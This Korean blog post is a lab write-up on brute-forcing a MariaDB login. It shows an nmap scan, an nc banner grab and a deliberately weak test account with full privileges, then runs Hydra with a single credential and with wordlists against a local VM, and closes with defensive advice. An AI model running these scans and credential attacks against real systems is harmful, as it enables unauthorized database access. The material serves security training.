DB Hydra Brute Force Attack

2026. 9. 11. 16:51·데이터베이스

1. 포트 스캔 (nmap)

nmap -p 1433,3306,1521 -sV 192.168.63.128

실행 결과

Starting Nmap 7.94 ( https://nmap.org ) at 2026-07-28 03:16 EDT
Nmap scan report for 192.168.63.128
Host is up (0.00065s latency).

PORT     STATE    SERVICE  VERSION
1433/tcp filtered ms-sql-s
1521/tcp filtered oracle
3306/tcp open     mysql    MySQL 5.5.5-10.5.29-MariaDB
MAC Address: 00:0C:29:38:A7:A0 (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.47 seconds

3306

  • mysql port : tcp 3306 port open
  • 1433/1521 : MS-SQL / ORACLE port close
  • 이전 firewall--cmd -permanent -add-port=3306/tcp로 방화벽 해제

결과 해석

포트 서비스 상태

1433 MS-SQL filtered (방화벽 등에 막혀 응답 없음)
1521 Oracle filtered
3306 MySQL/MariaDB open (10.5.29-MariaDB 버전 확인됨)
  • -p: 스캔할 포트 지정
  • -sV: 서비스 버전 정보까지 확인
  • 3306만 열려 있어 공격 대상이 MariaDB로 좁혀짐

열린 포트 배너 직접 확인 (nc)

nc -w 1 192.168.63.128 3306
Y
5.5.5-10.5.29-MariaDBNX^NMx6B'...mysql_native_password
  • 포트에 직접 접속해서 서버 배너(버전 정보 + 인증 플러그인 종류)를 확인
  • 여기서 mysql_native_password 플러그인 사용 중임을 확인 가능
    • 대신 지금 사용하고 있는 mysql_native plugin은 상대적으로 암호화에 취약하여 sha_255 버전으로 업그레이드 필요

2. 테스트용 계정 준비 (공격 대상 ROCKY 서버 사전 세팅)

CREATE USER 'test'@'192.168.%.%' IDENTIFIED BY 'P@SSW0RD';
GRANT ALL PRIVILEGES ON *.* TO 'test'@'192.168.%.%' WITH GRANT OPTION;
  • 브루트포스 실습을 위해 의도적으로 취약한 계정(test / P@SSW0RD)을 생성
  • 모든 DB에 대한 전체 권한 + GRANT OPTION까지 부여 → 뚫리면 피해가 매우 큰 상태를 재현

3. Hydra를 이용한 무차별 대입 공격 (Brute Force)

Hydra란?

온라인 로그인 브루트포스 도구, 계정/비밀번호 후보 목록을 자동으로 대입하여 로그인 성공 여부를 판별하는 툴이다. SSH, FTP, MySQL, RDP, HTTP 로그인 폼 등 다양한 프로토콜을 지원한다.

기본 문법

hydra [계정 옵션] [비밀번호 옵션] [대상 IP] [서비스명]

옵션 의미 입력값 형태

-l (소문자) 단일 계정명 지정 문자열 (예: test)
-L (대문자) 계정 목록 파일 지정 파일 경로 (예: user.txt)
-p (소문자) 단일 비밀번호 지정 문자열 (예: 'P@SSW0RD')
-P (대문자) 비밀번호 목록 파일 지정 파일 경로 (예: pass.txt)

실습 1: 단일 계정/비밀번호 직접 지정

hydra -l test -p 'P@SSW0RD' 192.168.63.128 mysql

결과:

[INFO] Reduced number of tasks to 4 (mysql does not like many parallel connections)
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 try per task
[DATA] attacking mysql://192.168.63.128:3306/
[3306][mysql] host: 192.168.63.128   login: test   password: P@SSW0RD
1 of 1 target successfully completed, 1 valid password found
  • 계정 1개 × 비밀번호 1개 → 총 1회 시도
  • 정확한 조합으로 로그인 성공 확인

실습 2: 워드리스트(파일) 기반 대입

사전 준비: /root/Desktop/user.txt, /root/Desktop/pass.txt에 후보 계정/비밀번호를 한 줄씩 입력

hydra -L /root/Desktop/user.txt -P /root/Desktop/pass.txt 192.168.63.128 mysql

결과:

[INFO] Reduced number of tasks to 4 (mysql does not like many parallel connections)
[DATA] max 4 tasks per 1 server, overall 4 tasks, 16 login tries (l:4/p:4), ~4 tries per task
[DATA] attacking mysql://192.168.63.128:3306/
[3306][mysql] host: 192.168.63.128   login: test   password: P@SSW0RD
1 of 1 target successfully completed, 1 valid password found
  • l:4/p:4 → 파일에 계정 4개, 비밀번호 4개가 있었다는 의미 (4×4 = 16가지 조합 가능)
  • 여러 후보 중에서도 test / P@SSW0RD 조합을 정확히 찾아내어 로그인 성공

두 실습이 보여주는 것

  1. 단일 값 테스트로 특정 조합이 유효한지 빠르게 검증 가능
  2. 파일 기반 대입으로는 다수의 후보 중에서도 유효한 조합을 자동으로 찾아낼 수 있음
  3. 결국 약한/예측 가능한 비밀번호는 자동화 도구만으로도 짧은 시간 내 탈취 가능하다는 것을 실증

4. 방어 포인트

  • 강력한 비밀번호 정책 (validate_password/simple_password_check 플러그인 등으로 강제)
  • 호스트 제한: 계정 생성 시 LIKE, % , _ 와일드카드 남발 자제, 필요한 IP/대역만 허용
  • 최소 권한 원칙: WITH GRANT OPTION 및 전체 권한(*.*) 부여 지양
  • 네트워크 노출 최소화: 3306 포트를 외부에 불필요하게 열어두지 않기 (방화벽, 화이트리스트)
  • 로그인 실패 대응: 계정 잠금 정책, fail2ban 등으로 반복 시도 차단

'데이터베이스' 카테고리의 다른 글

DataBase 기본 구문 2  (0) 2026.08.17
Database 기본 구문  (0) 2026.08.14
DataBase Secure  (0) 2026.08.13
SQL Injection  (0) 2026.08.13
MySQL Query  (0) 2026.08.13
'데이터베이스' 카테고리의 다른 글
  • DataBase 기본 구문 2
  • Database 기본 구문
  • DataBase Secure
  • SQL Injection
돌아온무니
돌아온무니
게임 개발 육성 모험 RPG...!
  • 돌아온무니
    무니의 개발일지
    돌아온무니
  • 전체
    오늘
    어제
    • 분류 전체보기 (89)
      • C++ (16)
        • STL (3)
      • 자료구조 (3)
      • 알고리즘 (13)
        • DFS (1)
        • BFS (1)
      • 깨알 지식 (7)
        • 암호화 (4)
      • 코테 스터디 (2)
      • 운영체제 (8)
        • 공룡책 (4)
      • 악성코드 (3)
        • 스텍 프레임 변조 (3)
      • 네트워크 (2)
      • 게임수학 (8)
        • CK소프트렌더러 (4)
      • Unity (3)
        • Spine-unity (1)
      • Unreal Engine (3)
      • 웹 · 앱 (7)
      • 데이터베이스 (6)
      • Ansible (4)
      • Docker (0)
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 최근 댓글

  • 최근 글

돌아온무니
DB Hydra Brute Force Attack
상단으로

티스토리툴바